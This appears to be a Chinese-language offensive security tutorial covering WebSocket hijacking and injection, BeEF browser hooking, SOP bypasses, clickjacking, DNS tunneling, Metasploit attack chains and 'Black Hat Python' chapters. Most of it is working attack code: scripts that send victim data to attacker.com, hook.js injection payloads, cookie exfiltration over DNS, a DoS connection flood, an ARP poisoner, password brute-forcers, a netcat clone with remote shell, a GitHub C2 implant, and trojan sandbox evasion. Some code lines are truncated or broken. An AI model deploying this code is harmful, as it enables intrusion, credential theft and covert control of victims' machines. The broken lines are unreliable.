# 3. 长连接 — 一旦建立,持续开放
# 4. 二进制和文本帧 — 可传输任意数据
CSWSH — 跨站WebSocket劫持
# CSWSH (Cross-Site WebSocket Hijacking)
# 这是WebSocket的"CSRF"版本
# 攻击场景:
# 受害者访问攻击者控制的页面
# 攻击者JavaScript打开WebSocket连接到victim.com
# 浏览器自动携带Cookie
# WebSocket在受害者会话上下文中运行
# 攻击代码:
<script>
// 攻击者页面: attacker.com/cswsh.html
var ws = new WebSocket('wss://victim.com/chat');
ws.onopen = function() {
// 冒充受害者发送消息
ws.send(JSON.stringify({
action: "admin_action",
target: "delete_all_users",
confirm: true
}));
};
ws.onmessage = function(event) {
// 窃取受害者的聊天数据
fetch('https://attacker.com/steal', {
method: 'POST',
body: event.data
});
};
</script>
# 防御:
# 1. 验证Origin头 (服务端)
# 2. WebSocket使用独立Token (非Cookie认证)
# 3. 首次连接时要求CSRF Token
WebSocket注入攻击
# 1. WebSocket SQL注入
# 攻击者通过WebSocket消息注入SQL
var ws = new WebSocket('wss://target.com/api');
ws.onopen = function() {
ws.send(JSON.stringify({
action: "search",
query: "admin' OR '1'='1' --"
}));
};
# 2. WebSocket XSS
ws.send(JSON.stringify({
message: "<img src=x onerror=alert(document.cookie)>"
}));
# 如果服务端将消息广播给其他用户 → 存储型XSS
# 3. WebSocket NoSQL注入
ws.send(JSON.stringify({
filter: {"$where": "1==1"},
collection: "users"
}));
# 4. WebSocket JSON注入 (参数污染)
ws.send(JSON.stringify({
action: "transfer",
from: "user123",
to: "user456",
amount: 100,
"__proto__": {"admin": true} # Prototype Pollution
}));
WebSocket DoS与中间人攻击
# 1. WebSocket连接耗尽
import asyncio
import websockets
async def connection_flood(target, count=10000):
"""建立大量WebSocket连接消耗服务器资源"""
async def connect():
try:
async with websockets.connect(target) as ws:
await asyncio.sleep(3600) # 保持连接
except:
pass
tasks = [connect() for _ in range(count)]
await asyncio.gather(*tasks)
# 2. 大消息DoS
ws.send("A" * 10_000_000) # 10MB消息
# 如果无消息大小限制 → 内存耗尽
# 3. WebSocket中间人 — 未加密ws://
# 如果使用 ws:// (非加密)
# attacker可以:
# - 嗅探所有消息
# - 修改消息 (篡改)
# - 注入恶意消息
# 4. WebSocket重放攻击
# 捕获合法WebSocket消息 → 重放执行操作
# 防御: 在消息中添加 nonce/timestamp 防重放
# 5. WebSocket解压炸弹 (Permessage-Deflate)
# 小压缩数据解压后极大 → 内存耗尽
WebSocket安全测试工具
# 1. ws-harness.py — WebSocket测试框架
python3 ws-harness.py -u wss://target.com/socket \
--test all \
--payloads payloads.json
# 2. Burp Suite WebSocket测试
# - Proxy → WebSocket History → 查看所有消息
# - Repeater → 修改和重放消息
# - Intruder → 对WebSocket消息进行Fuzzing
# 3. wscat — 命令行WebSocket客户端
wscat -c wss://target.com/ws -H "Cookie: session=xxx"
# 交互式发送消息测试
# 4. WebSocket Fuzzing脚本
import websocket, json, random, string
def fuzz_websocket(url, iterations=1000):
ws = websocket.create_connection(url)
for i in range(iterations):
# 生成随机Payload
payload_type = random.choice(['sql','xss','nosql','large','unicode'])
if payload_type == 'sql':
msg = json.dumps({"q": f"' OR 1={i} --"})
elif payload_type == 'xss':
msg = json.dumps({"msg": f"
"})
elif payload_type == 'large':
msg = "A" * random.randint(1000, 1000000)
elif payload_type == 'unicode':
msg = "\\u0000" * 100 # Null字节注入
try:
ws.send(msg)
response = ws.recv()
if "error" in response.lower():
print(f"[!] Error response for {payload_type}: {response[:200]}")
except Exception as e:
print(f"[!] Exception: {e}")
ws.close()
WebSocket安全测试清单
| 测试项 | 测试方法 | 风险 |
|---|---|---|
| Origin验证 | 修改Origin头,测试是否被忽略 | 高 |
| 认证机制 | 测试Cookie-only认证是否存在CSWSH | 高 |
| TLS加密 | 检查是否强制使用wss:// | 高 |
| 消息注入 | 向消息中注入SQL/XSS/NoSQL Payload | 高 |
| 消息大小 | 发送超大消息测试 | 中 |
| 连接数 | 建立大量并发连接 | 中 |
| 消息频率 | 高频发送消息测试速率限制 | 中 |
| 重放攻击 | 捕获并重放合法消息 | 中 |
| 加密压缩 | 测试Permessage-Deflate压缩炸弹 | 低 |
BeEF — 浏览器利用框架
Browser Exploitation Framework — 最强大的浏览器渗透测试平台
BeEF架构与安装
# Kali Linux内置安装
sudo apt update && sudo apt install beef-xss -y
# 首次启动配置
cd /usr/share/beef-xss
sudo ./beef
# 配置文件位置
vim /etc/beef-xss/config.yaml
# 关键配置:修改默认密码 (beef:beef)、配置监听地址
# Docker部署
docker run -d --name beef \
-p 3000:3000 -p 6789:6789 -p 61985:61985 -p 61986:61986 \
mrhaxer/beef
# 访问管理面板
# http://localhost:3000/ui/panel
Hook注入与浏览器控制
# 1. 基础Hook脚本
<script src="http://attacker.com:3000/hook.js"></script>
# 2. XSS注入Hook
<img src=x onerror=var s=document.createElement('script');
s.src='http://attacker.com:3000/hook.js';
document.head.appendChild(s);>
# 3. 存储型XSS — 一次性Hook所有访问者
# 在留言板/评论区插入:
<script src="http://attacker.com:3000/hook.js"></script>
# 4. 邮件钓鱼注入Hook
<html>
<body onload="window.location='http://target.com'">
<script src="http://attacker.com:3000/hook.js"></script>
</body>
</html>
BeEF核心攻击模块
| 模块分类 | 代表模块 | 攻击效果 |
|---|---|---|
| 信息收集 | Get System Info / Get Browser Plugins | 获取浏览器指纹、插件列表、操作系统版本 |
| 社会工程 | Pretty Theft / Fake Notification | 弹出伪造登录框窃取凭证 |
| 网络侦察 | Ping Sweep / Port Scanner | 以浏览器为跳板扫描内网 |
| 持久化 | Man-In-The-Browser / Confirm Close | 持久Hook浏览器 |
| Metasploit | Browser Autopwn | 通过浏览器漏洞获取系统Shell |
| 隧道 | Tunneling Proxy | 通过浏览器访问内网资源 |
| 凭证 | Cookie Grabbing / Key Logger | 窃取Cookie和键盘记录 |
内网穿透 — 利用浏览器作为代理
# BeEF Tunneling Proxy使用步骤
# 1. Hook目标浏览器
# 2. 在BeEF控制台选择: Commands → Network → Tunneling Proxy
# 3. 配置本地监听端口 (如1080)
# 4. 使用Proxychains通过浏览器访问内网
# /etc/proxychains.conf
[ProxyList]
socks4 127.0.0.1 1080
# 通过浏览器探测内网
proxychains nmap -sT -Pn 192.168.1.0/24 -p 80,443,22
proxychains curl http://192.168.1.1/admin
SOP绕过与同源策略深度解析
Same-Origin Policy绕过技术 — 从理论到实战的完整攻击链
同源策略 (SOP) 基础
| 比较项 | 示例 | 是否同源 |
|---|---|---|
| 协议 | https://www.example.com | ❌ 协议不同 |
| 端口 | http://www.example.com:8080 | ❌ 端口不同 |
| 子域名 | http://api.example.com | ❌ 主机不同 |
| 路径 | http://www.example.com:80/path | ✅ 同源 |
SOP绕过技术大全
# 1. document.domain降域技术
// 让不同子域共享资源
// a.example.com 和 b.example.com 同时设置:
document.domain = 'example.com';
# 2. postMessage劫持
// 受害者页面使用通配符*
window.addEventListener('message', function(e) {
// 未验证origin!
document.getElementById('data').innerHTML = e.data;
});
// 攻击者发送恶意消息
var win = window.open('http://target.com/page');
win.postMessage('<img src=x onerror=eval(atob("malicious"))>', '*');
# 3. JSONP劫持 (不检查Referer)
<script>
function stealData(data) {
fetch('http://attacker.com/log', {
method: 'POST',
body: JSON.stringify(data)
});
}
</script>
<script src="http://victim.com/api/sensitive?callback=stealData"></script>
# 4. CORS配置错误利用
// 服务器返回 Access-Control-Allow-Origin: *
fetch('http://victim.com/api/secret', {credentials: 'include'})
.then(r => r.json())
.then(d => console.log('Stolen:', d));
Clickjacking与Cursorjacking
# Clickjacking (点击劫持)
<!-- 攻击页面: evil.com/clickjack.html -->
<html>
<style>
#victim {
position: absolute; top: 0; left: 0;
width: 500px; height: 400px;
opacity: 0.001; /* 几乎完全透明 */
z-index: 9999;
}
#bait { margin-top: 200px; }
</style>
<iframe id="victim" src="http://bank.com/transfer?to=attacker&amount=10000"></iframe>
<div id="bait">
<button>点击领取免费iPhone!</button>
</div>
</html>
# Cursorjacking (光标劫持)
<style>
body { cursor: none; }
#fake-cursor {
position: fixed; z-index: 10000;
pointer-events: none;
/* 显示偏移的假光标,用户点击位置与实际不同 */
}
</style>
高级浏览器攻击与指纹识别
浏览器指纹追踪、DNS隧道穿透、NAT Pinning、浏览器漏洞Fuzzing
浏览器指纹识别技术
# Canvas Fingerprinting
<script>
function getCanvasFingerprint() {
var canvas = document.createElement('canvas');
var ctx = canvas.getContext('2d');
ctx.textBaseline = 'top';
ctx.font = '14px Arial';
ctx.fillStyle = '#f60';
ctx.fillRect(125, 1, 62, 20);
ctx.fillStyle = '#069';
ctx.fillText('Browser Fingerprint Canvas 1.0', 2, 15);
return canvas.toDataURL();
}
</script>
# 综合指纹收集维度:
// 1. User Agent (Navigator对象)
// 2. 屏幕分辨率 (Screen对象)
// 3. 时区 (Intl.DateTimeFormat)
// 4. 语言偏好 (Navigator.language)
// 5. 已安装插件 (Navigator.plugins)
// 6. Canvas/WebGL指纹
// 7. 音频指纹 (AudioContext)
// 8. 字体列表
// 9. WebRTC IP泄露
DNS隧道 — 通过浏览器穿透防火墙
# DNS隧道原理 (绕过Captive Portal)
# 1. 攻击者设置DNS服务器
# 2. 受害者浏览器发起DNS查询
# 3. 数据编码在域名中传输
# 受害者端 (浏览器JavaScript)
<script>
function dnsTunnel(data) {
var encoded = btoa(data).replace(/\+/g, '-').replace(/\//g, '_');
var chunkSize = 60;
for (var i = 0; i < encoded.length; i += chunkSize) {
var chunk = encoded.substring(i, i + chunkSize);
new Image().src = 'http://' + chunk + '.tunnel.attacker.com/pixel.gif';
}
}
// 泄露Cookie
dnsTunnel(document.cookie);
</script>
# DNScat2 — DNS隐蔽隧道工具
dnscat2-server --dns domain=attacker.com
dnscat2-client --dns domain=attacker.com
利用WebRTC获取内网IP
<script>
var pc = new RTCPeerConnection({
iceServers: [{urls: 'stun:stun.l.google.com:19302'}]
});
pc.createDataChannel('');
pc.createOffer().then(function(offer) {
pc.setLocalDescription(offer);
});
pc.onicecandidate = function(e) {
if (e.candidate) {
var ip = e.candidate.candidate.match(/\d+\.\d+\.\d+\.\d+/);
console.log('Internal IP:', ip);
}
};
</script>
浏览器漏洞Fuzzing基础
# 使用Domato进行DOM Fuzzing
git clone https://github.com/googleprojectzero/domato.git
cd domato
python3 generator.py --output-dir ./fuzz_cases --num 10000
# 自定义Fuzzing案例
# 目标:生成随机HTML/CSS/JS组合以触发浏览器bug
import random
tags = ['div','span','img','iframe','video','canvas','svg']
events = ['onclick','onload','onerror','onmouseover']
# 随机组合标签、事件、样式生成测试用例
Metasploit × BeEF 联动攻击
将浏览器攻击与系统漏洞利用相结合,构建完整的渗透攻击链
Metasploit Browser Autopwn
# MSF Browser Autopwn — 自动检测浏览器漏洞
msf6 > use auxiliary/server/browser_autopwn2
msf6 > set SRVPORT 8080
msf6 > set URIPATH /
msf6 > set LHOST 192.168.1.100
msf6 > run
# 受害者访问 http://192.168.1.100:8080/
# MSF自动:
# 1. 检测浏览器类型和版本
# 2. 匹配已知漏洞模块
# 3. 自动发送对应Exploit
# 4. 返回Meterpreter会话
# 配合BeEF使用 — Hook后调用Browser Autopwn
# BeEF中选择: Commands → Metasploit → Browser Autopwn
# 配置回调地址
Commands → Metasploit → Config
MSF Host: 192.168.1.100
MSF Port: 55552
完整攻击链实战
# 攻击链: 钓鱼邮件 → XSS Hook → 信息收集 → Browser Exploit → Meterpreter → 内网渗透
# 阶段1: 鱼叉式钓鱼 (含BeEF Hook)
发送邮件包含:
<a href="http://target.com/page?q=<script src='http://192.168.1.100:3000/hook.js'></script>">
点击查看重要通知
</a>
# 阶段2: 浏览器信息收集
# BeEF自动收集:浏览器版本、操作系统、插件列表、内网IP
# 阶段3: 漏洞匹配与利用
# MSF查找匹配浏览器版本的Exploit
msf6 > search type:exploit platform:windows,browser
# 阶段4: 获取Meterpreter会话
meterpreter > sysinfo # 系统信息
meterpreter > getuid # 当前权限
meterpreter > getsystem # 尝试提权
# 阶段5: 内网渗透
meterpreter > run autoroute -s 192.168.1.0/24
meterpreter > background
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 192.168.1.0/24
联动自动化脚本
# Python — BeEF + MSF 联动自动化
import requests
from pymetasploit3.msfrpc import MsfRpcClient
# BeEF API配置
BEEF_URL = "http://localhost:3000"
BEEF_TOKEN = "your-beef-api-token"
# MSF RPC配置
client = MsfRpcClient('password', port=55552)
def auto_exploit_hooked_browsers():
# 1. 获取所有Hooked浏览器
resp = requests.get(
f"{BEEF_URL}/api/hooks",
headers={"BeEF-Token": BEEF_TOKEN}
)
browsers = resp.json()['hooked-browsers']
for browser_id, browser_data in browsers.items():
# 2. 提取浏览器信息并匹配MSF Exploit
browser_name = browser_data['session']['browser_name']
exploits = client.modules.search(f"type:exploit browser:{browser_name}")
# 3. 自动利用
for exp in exploits:
result = execute_exploit(exp, browser_data)
if result['success']:
print(f"Got shell on {browser_data['ip']}!")
break
🐍 基础网络编程工具
基于《Python黑帽子:黑客与渗透测试编程之道(第2版)》第二章 — TCP/UDP客户端与服务端、Netcat替代实现
TCP 客户端与服务端
import socket
import threading
# ===== TCP 客户端 =====
def tcp_client(target_host, target_port):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target_host, target_port))
client.send(b"GET / HTTP/1.1\r\nHost: target.com\r\n\r\n")
response = client.recv(4096)
print(response.decode())
client.close()
# ===== TCP 服务端 (多线程) =====
def tcp_server(bind_host='0.0.0.0', bind_port=9999):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((bind_host, bind_port))
server.listen(5)
print(f'[*] Listening on {bind_host}:{bind_port}')
def handle_client(client_socket):
request = client_socket.recv(1024)
print(f'[*] Received: {request.decode()}')
client_socket.send(b"ACK!")
client_socket.close()
while True:
client, addr = server.accept()
print(f'[*] Accepted connection from {addr[0]}:{addr[1]}')
client_handler = threading.Thread(target=handle_client, args=(client,))
client_handler.start()
UDP 客户端与服务端
import socket
# UDP 客户端 — 适合快速端口探测
def udp_client(target_host, target_port, message=b"AAABBBCCC"):
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.settimeout(2.0)
client.sendto(message, (target_host, target_port))
try:
data, addr = client.recvfrom(4096)
return data
except socket.timeout:
return None
finally:
client.close()
# UDP 服务端
def udp_server(bind_host='0.0.0.0', bind_port=9999):
server = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server.bind((bind_host, bind_port))
print(f'[*] UDP Listening on {bind_host}:{bind_port}')
while True:
data, addr = server.recvfrom(1024)
print(f'[*] Received from {addr}: {data.decode()}')
server.sendto(b"ACK!", addr)
Python Netcat 替代实现
import sys, socket, getopt, threading, subprocess
class NetCat:
def __init__(self, args, buffer=None):
self.args = args
self.buffer = buffer
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
def run(self):
if self.args.listen:
self.listen()
else:
self.send()
def send(self):
self.socket.connect((self.args.target, self.args.port))
if self.buffer:
self.socket.send(self.buffer)
try:
while True:
recv_len = 1
response = ''
while recv_len:
data = self.socket.recv(4096)
recv_len = len(data)
response += data.decode()
if recv_len < 4096:
break
if response:
print(response)
buffer = input('> ')
buffer += '\n'
self.socket.send(buffer.encode())
except KeyboardInterrupt:
print('[*] User terminated.')
self.socket.close()
def listen(self):
self.socket.bind((self.args.target, self.args.port))
self.socket.listen(5)
while True:
client_socket, _ = self.socket.accept()
client_thread = threading.Thread(
target=self.handle, args=(client_socket,)
)
client_thread.start()
def handle(self, client_socket):
if self.args.execute:
output = subprocess.run(self.args.execute, shell=True,
capture_output=True)
client_socket.send(output.stdout)
elif self.args.upload:
file_buffer = b''
while True:
data = client_socket.recv(1024)
if data:
file_buffer += data
else:
break
with open(self.args.upload, 'wb') as f:
f.write(file_buffer)
elif self.args.command:
cmd_buffer = b''
while True:
try:
client_socket.send(b' ')
while '\n' not in cmd_buffer.decode():
cmd_buffer += client_socket.recv(1024)
response = subprocess.run(cmd_buffer.decode().strip(),
shell=True, capture_output=True)
client_socket.send(response.stdout or response.stderr)
cmd_buffer = b''
except Exception:
break
-c 交互式Shell、-e 命令执行、-l 监听模式、-u 文件上传。双向通信可用于构建完整的C2通道。
📡 流量嗅探与数据包解码
基于第三章 — Raw Socket 原始套接字、IP/ICMP/TCP/UDP 协议栈解码、主机发现扫描器
Raw Socket 嗅探器 (Windows/Linux兼容)
import socket
import os
# Linux: AF_PACKET 直接链路层捕获
# Windows: AF_INET + SOCK_RAW 仅捕获IP层以上
if os.name == 'nt':
# Windows — 需要管理员权限
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP)
sniffer.bind(('0.0.0.0', 0))
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
else:
# Linux — 捕获所有协议
sniffer = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0003))
while True:
raw_buffer = sniffer.recvfrom(65535)[0]
print(f'[+] Packet: {len(raw_buffer)} bytes')
IP 头部解码
import struct
import ipaddress
class IP:
def __init__(self, buff=None):
# IP头结构 (20字节)
header = struct.unpack('> 4 # 版本 (4)
self.ihl = header[0] & 0xF # 头长度
self.tos = header[1] # 服务类型
self.len = header[2] # 总长度
self.id = header[3] # 标识
self.offset = header[4] # 分片偏移
self.ttl = header[5] # 存活时间
self.protocol_num = header[6] # 协议号 (6=TCP, 17=UDP, 1=ICMP)
self.sum = header[7] # 头校验和
self.src = str(ipaddress.ip_address(header[8])) # 源IP
self.dst = str(ipaddress.ip_address(header[9])) # 目标IP
# 协议映射
self.protocol_map = {1: 'ICMP', 6: 'TCP', 17: 'UDP'}
self.protocol = self.protocol_map.get(self.protocol_num, 'Unknown')
ICMP 解码 + 主机发现扫描器
# ICMP 头部解码 (4字节: 类型+代码+校验和)
class ICMP:
def __init__(self, buff):
header = struct.unpack('
🎭 Scapy — 网络的掌控者
基于第四章 — 数据包构造、发送、接收、ARP投毒中间人攻击、Stealth SYN扫描
Scapy 核心操作
# pip install scapy
from scapy.all import *
# ===== 数据包构造 =====
pkt = IP(dst="192.168.1.1") / ICMP()
# 等价于: Ether() / IP() / ICMP()
# 查看数据包结构
pkt.show()
# 发送并接收单个响应
resp = sr1(pkt, timeout=1)
# 发送并接收多个响应
ans, unans = sr(IP(dst="192.168.1.1")/ICMP(), timeout=2)
# ===== SYN 隐蔽扫描 (Stealth Scan) =====
def syn_scan(target, ports):
"""半开放扫描 — 不完成三次握手"""
ans, unans = sr(
IP(dst=target) / TCP(dport=ports, flags="S"),
timeout=2, verbose=0
)
for sent, received in ans:
if received.haslayer(TCP):
flags = received.getlayer(TCP).flags
if flags & 0x12: # SYN-ACK
print(f'[OPEN] {received[TCP].sport}')
send(IP(dst=target) / TCP(
dport=received[TCP].sport, flags="R"
), verbose=0)
elif flags & 0x14: # RST-ACK
print(f'[CLOSED] {received[TCP].sport}')
ARP 投毒 — 中间人攻击
from scapy.all import *
import time
import sys
class ARPPoisoner:
def __init__(self, victim_ip, gateway_ip, interface='eth0'):
self.victim_ip = victim_ip
self.gateway_ip = gateway_ip
self.interface = interface
def get_mac(self, ip):
"""通过ARP请求获取MAC地址"""
ans, _ = srp(
Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip),
timeout=2, iface=self.interface, verbose=False
)
if ans:
return ans[0][1].src
return None
def restore(self):
"""恢复ARP表 — 发送正确的MAC映射"""
victim_mac = self.get_mac(self.victim_ip)
gateway_mac = self.get_mac(self.gateway_ip)
send(ARP(
op=2, # is-at (响应)
psrc=self.gateway_ip,
pdst=self.victim_ip,
hwdst=victim_mac,
hwsrc=gateway_mac
), count=5, verbose=False)
print('[*] ARP tables restored.')
def poison(self):
"""持续投毒 — 告诉受害者我是网关,告诉网关我是受害者"""
victim_mac = self.get_mac(self.victim_ip)
gateway_mac = self.get_mac(self.gateway_ip)
print(f'[*] Victim MAC: {victim_mac}, Gateway MAC: {gateway_mac}')
try:
while True:
# 欺骗受害者: "网关的IP → 我的MAC"
send(ARP(
op=2, psrc=self.gateway_ip, pdst=self.victim_ip,
hwdst=victim_mac
), verbose=False)
# 欺骗网关: "受害者的IP → 我的MAC"
send(ARP(
op=2, psrc=self.victim_ip, pdst=self.gateway_ip,
hwdst=gateway_mac
), verbose=False)
time.sleep(2)
except KeyboardInterrupt:
self.restore()
# 启用IP转发后执行
# echo 1 > /proc/sys/net/ipv4/ip_forward
# poisoner = ARPPoisoner('192.168.1.100', '192.168.1.1')
# poisoner.poison()
🌐 Web 攻击实战
基于第五章 — 目录暴力破解、HTML表单登录爆破、HTTP Basic Auth破解
Web 目录暴力破解
import requests
import threading
import queue
import sys
THREADS = 10
TARGET_URL = "http://testphp.vulnweb.com"
class DirectoryBuster:
def __init__(self, target_url, wordlist, threads=THREADS):
self.target = target_url.rstrip('/')
self.queue = queue.Queue()
self.found = []
self.threads = threads
for word in open(wordlist, 'r'):
self.queue.put(word.strip())
def buster(self):
while not self.queue.empty():
url = f"{self.target}/{self.queue.get()}"
try:
resp = requests.get(url, timeout=3, allow_redirects=False)
if resp.status_code != 404:
self.found.append((url, resp.status_code, len(resp.content)))
print(f'[{resp.status_code}] {url}')
self.queue.task_done()
except requests.RequestException:
self.queue.task_done()
def run(self):
for _ in range(self.threads):
t = threading.Thread(target=self.buster)
t.daemon = True
t.start()
self.queue.join()
return self.found
HTML 登录表单暴力破解
import requests
from bs4 import BeautifulSoup
def brute_login(login_url, username, wordlist_path):
"""对登录表单进行密码暴力破解"""
session = requests.Session()
# 获取登录页面及CSRF Token
resp = session.get(login_url)
soup = BeautifulSoup(resp.text, 'html.parser')
# 收集表单信息
form = soup.find('form')
action = form.get('action', '')
form_url = requests.compat.urljoin(login_url, action)
inputs = form.find_all('input')
form_data = {}
for inp in inputs:
name = inp.get('name', '')
form_data[name] = inp.get('value', '')
with open(wordlist_path, 'r') as f:
for password in f:
pw = password.strip()
form_data['username'] = username
form_data['password'] = pw
resp = session.post(form_url, data=form_data)
# 检测登录成功标志
if 'logout' in resp.text.lower() or \
'welcome' in resp.text.lower() or \
resp.url != login_url:
print(f'[+] Found password: {pw}')
return pw
else:
print(f'[-] Failed: {pw}')
return None
HTTP Basic Auth 破解
import requests
from requests.auth import HTTPBasicAuth
import base64
def brute_basic_auth(url, username, wordlist_path):
"""破解 HTTP Basic Authentication"""
with open(wordlist_path, 'r') as f:
for password in f:
pw = password.strip()
resp = requests.get(url, auth=HTTPBasicAuth(username, pw))
if resp.status_code == 200:
print(f'[+] Found: {username}:{pw}')
# 构造 Authorization 头 (Base64)
auth_str = base64.b64encode(
f'{username}:{pw}'.encode()
).decode()
print(f' Header: Basic {auth_str}')
return pw
return None
🔧 Burp Suite 扩展开发
基于第六章 — 用Python编写Burp插件:字典生成器、自动化扫描辅助、自定义菜单
Burp 扩展框架概述
Burp Suite 使用 Jython (Java中的Python实现) 来运行Python扩展。核心接口:
| 接口 | 功能 | 适用场景 |
|---|---|---|
| IBurpExtender | 扩展入口,注册回调 | 所有扩展必须实现 |
| IScannerCheck | 自定义主动/被动扫描 | 自定义漏洞检测 |
| IIntruderPayloadGenerator | 生成Intruder Payload | 自定义Fuzz字典 |
| IHttpListener | 拦截HTTP请求/响应 | 流量分析与修改 |
| IMessageEditorTab | 自定义消息编辑器标签 | 解码/编码工具 |
| IContextMenuFactory | 右键菜单项 | 快捷操作入口 |
| ISessionHandlingAction | 会话处理动作 | 自动登录/Token刷新 |
字典生成器扩展 (BHP Wordlist)
# bhp_wordlist.py — 从HTTP流量自动生成暴破字典
from burp import IBurpExtender
from burp import IContextMenuFactory
from javax.swing import JMenuItem
from java.util import List, ArrayList
import re
class BurpExtender(IBurpExtender, IContextMenuFactory):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("BHP Wordlist Generator")
callbacks.registerContextMenuFactory(self)
self.words = set(["password"]) # 初始种子词
print("[+] BHP Wordlist Generator loaded")
return
def createMenuItems(self, invocation):
"""右键菜单 — 添加生成字典选项"""
menu = ArrayList()
menu.add(JMenuItem(
"Generate Wordlist",
actionPerformed=lambda x: self.generate(invocation)
))
return menu
def generate(self, invocation):
"""提取选中请求/响应中的所有词"""
responses = invocation.getSelectedMessages()
for msg in responses:
resp_str = self._helpers.bytesToString(msg.getResponse())
# 正则提取所有 "单词" (字母数字组合)
words = re.findall(r'[a-zA-Z0-9_\-\.]{3,}', resp_str)
self.words.update(w.lower() for w in words)
print(f'[*] Wordlist size: {len(self.words)}')
# 可选: 保存到文件
output = self._callbacks.getOutput()
output.write(f'Total unique words: {len(self.words)}\n')
HTML标签剥离 + 注释提取辅助类
from html.parser import HTMLParser
from io import StringIO
class TagStripper(HTMLParser):
"""剥离HTML标签,提取纯文本 + 注释"""
def __init__(self):
super().__init__()
self.text = StringIO()
self.comments = []
def handle_data(self, data):
self.text.write(data)
def handle_comment(self, data):
"""HTML注释可能包含: 调试信息、路径、开发者备注"""
self.comments.append(data)
self.text.write(data) # 注释也加入字典
def get_text(self):
return self.text.getvalue()
# 使用
# stripper = TagStripper()
# stripper.feed(response_html)
# page_text = stripper.get_text()
# comments = stripper.comments
☁️ 基于 GitHub 的 C&C 通信
基于第七章 — 利用GitHub Issues/API实现隐蔽的命令与控制通道,绕过防火墙检测
GitHub C2 架构设计
"""
GitHub C2 通信流程:
┌──────────┐ Issue Comment ┌──────────┐
│ Implant │ ◄────────────────► │ GitHub │
│ (目标机) │ API / 轮询 │ Repo │
└──────────┘ └────┬─────┘
│
┌────┴─────┐
│ Operator │
│ (控制端) │
└──────────┘
优势:
- 流量加密 (TLS), 看起来是正常GitHub API调用
- 无需开放端口, 无需公网IP
- 通过私人仓库 + Token控制访问
- 天然支持多Agent管理 (Issue编号区分)
"""
import requests
import base64
import json
import time
GITHUB_API = 'https://api.github.com'
REPO = 'your-account/private-repo'
TOKEN = 'ghp_xxxxxxxxxxxxxxxxxxxx' # Personal Access Token
HEADERS = {
'Authorization': f'token {TOKEN}',
'Accept': 'application/vnd.github.v3+json'
}
Implant 端 — 任务轮询与结果回传
class GitHubImplant:
def __init__(self, task_issue=1, result_issue=2):
self.task_issue = task_issue # 读取任务用的Issue
self.result_issue = result_issue # 回传结果用的Issue
self.last_comment_id = 0
def get_tasks(self):
"""轮询新任务 — 获取最新评论"""
url = f'{GITHUB_API}/repos/{REPO}/issues/{self.task_issue}/comments'
resp = requests.get(url, headers=HEADERS)
comments = resp.json()
tasks = []
for c in comments:
if c['id'] > self.last_comment_id:
tasks.append(base64.b64decode(c['body']).decode())
self.last_comment_id = c['id']
return tasks
def send_result(self, result):
"""将执行结果回传 (Base64编码)"""
url = f'{GITHUB_API}/repos/{REPO}/issues/{self.result_issue}/comments'
encoded = base64.b64encode(result.encode()).decode()
data = json.dumps({'body': encoded})
requests.post(url, headers=HEADERS, data=data)
def run(self):
"""主循环 — 轮询、执行、回传"""
import subprocess
while True:
tasks = self.get_tasks()
for cmd in tasks:
try:
output = subprocess.run(
cmd, shell=True, capture_output=True
)
self.send_result(output.stdout.decode())
except Exception as e:
self.send_result(f'Error: {e}')
time.sleep(30) # 每30秒轮询一次
Operator 端 — 任务下发
class GitHubOperator:
def __init__(self, task_issue=1, result_issue=2):
self.task_issue = task_issue
self.result_issue = result_issue
def send_command(self, command):
"""向指定Issue发送Base64编码的命令"""
url = f'{GITHUB_API}/repos/{REPO}/issues/{self.task_issue}/comments'
encoded = base64.b64encode(command.encode()).decode()
data = json.dumps({'body': encoded})
resp = requests.post(url, headers=HEADERS, data=data)
if resp.status_code == 201:
print(f'[+] Command sent: {command}')
def get_results(self):
"""获取所有执行结果"""
url = f'{GITHUB_API}/repos/{REPO}/issues/{self.result_issue}/comments'
resp = requests.get(url, headers=HEADERS)
for c in resp.json():
decoded = base64.b64decode(c['body']).decode()
print(f'[Result] {decoded}')
# op = GitHubOperator()
# op.send_command('whoami /all')
# op.send_command('ipconfig /all')
🪟 Windows 木马开发
基于第八章 — 沙箱检测、键盘记录器、截屏、Shellcode注入、文件监控
沙箱/虚拟机检测
import ctypes
import time
import random
from ctypes import wintypes
class SandBoxDetector:
"""多层沙箱/虚拟机检测"""
@staticmethod
def check_sleep_patched():
"""检查Sleep函数是否被加速 (沙箱常用加速技术)"""
start = time.time()
# 使用 kernel32.Sleep 而非 time.sleep (防止被Hook)
ctypes.windll.kernel32.Sleep(1000)
elapsed = time.time() - start
# 如果1秒的sleep在0.9秒内完成,可能是沙箱加速
return elapsed < 0.9
@staticmethod
def check_disk_size(min_gb=60):
"""检查硬盘大小 — 真实机器通常>60GB"""
free_bytes = ctypes.c_ulonglong(0)
total_bytes = ctypes.c_ulonglong(0)
ctypes.windll.kernel32.GetDiskFreeSpaceExW(
'C:\\', ctypes.byref(free_bytes),
ctypes.byref(total_bytes), None
)
return total_bytes.value / (1024**3) < min_gb
@staticmethod
def check_user_interaction(timeout=300, min_clicks=5, min_keys=10):
"""检测真实用户交互 — 键盘+鼠标事件"""
# 记录鼠标点击次数和键盘敲击次数
click_count = 0
key_count = 0
last_input = time.time()
while time.time() - last_input < timeout:
# GetAsyncKeyState 检查各键状态
for vk_code in range(0x01, 0xFF):
if ctypes.windll.user32.GetAsyncKeyState(vk_code) & 0x8000:
if 0x01 <= vk_code <= 0x06: # 鼠标按键
click_count += 1
else:
key_count += 1
last_input = time.time()
time.sleep(0.1)
if click_count >= min_clicks and key_count >= min_keys:
return False # 有真实用户活动,不是沙箱
return True # 超时无交互,疑似沙箱
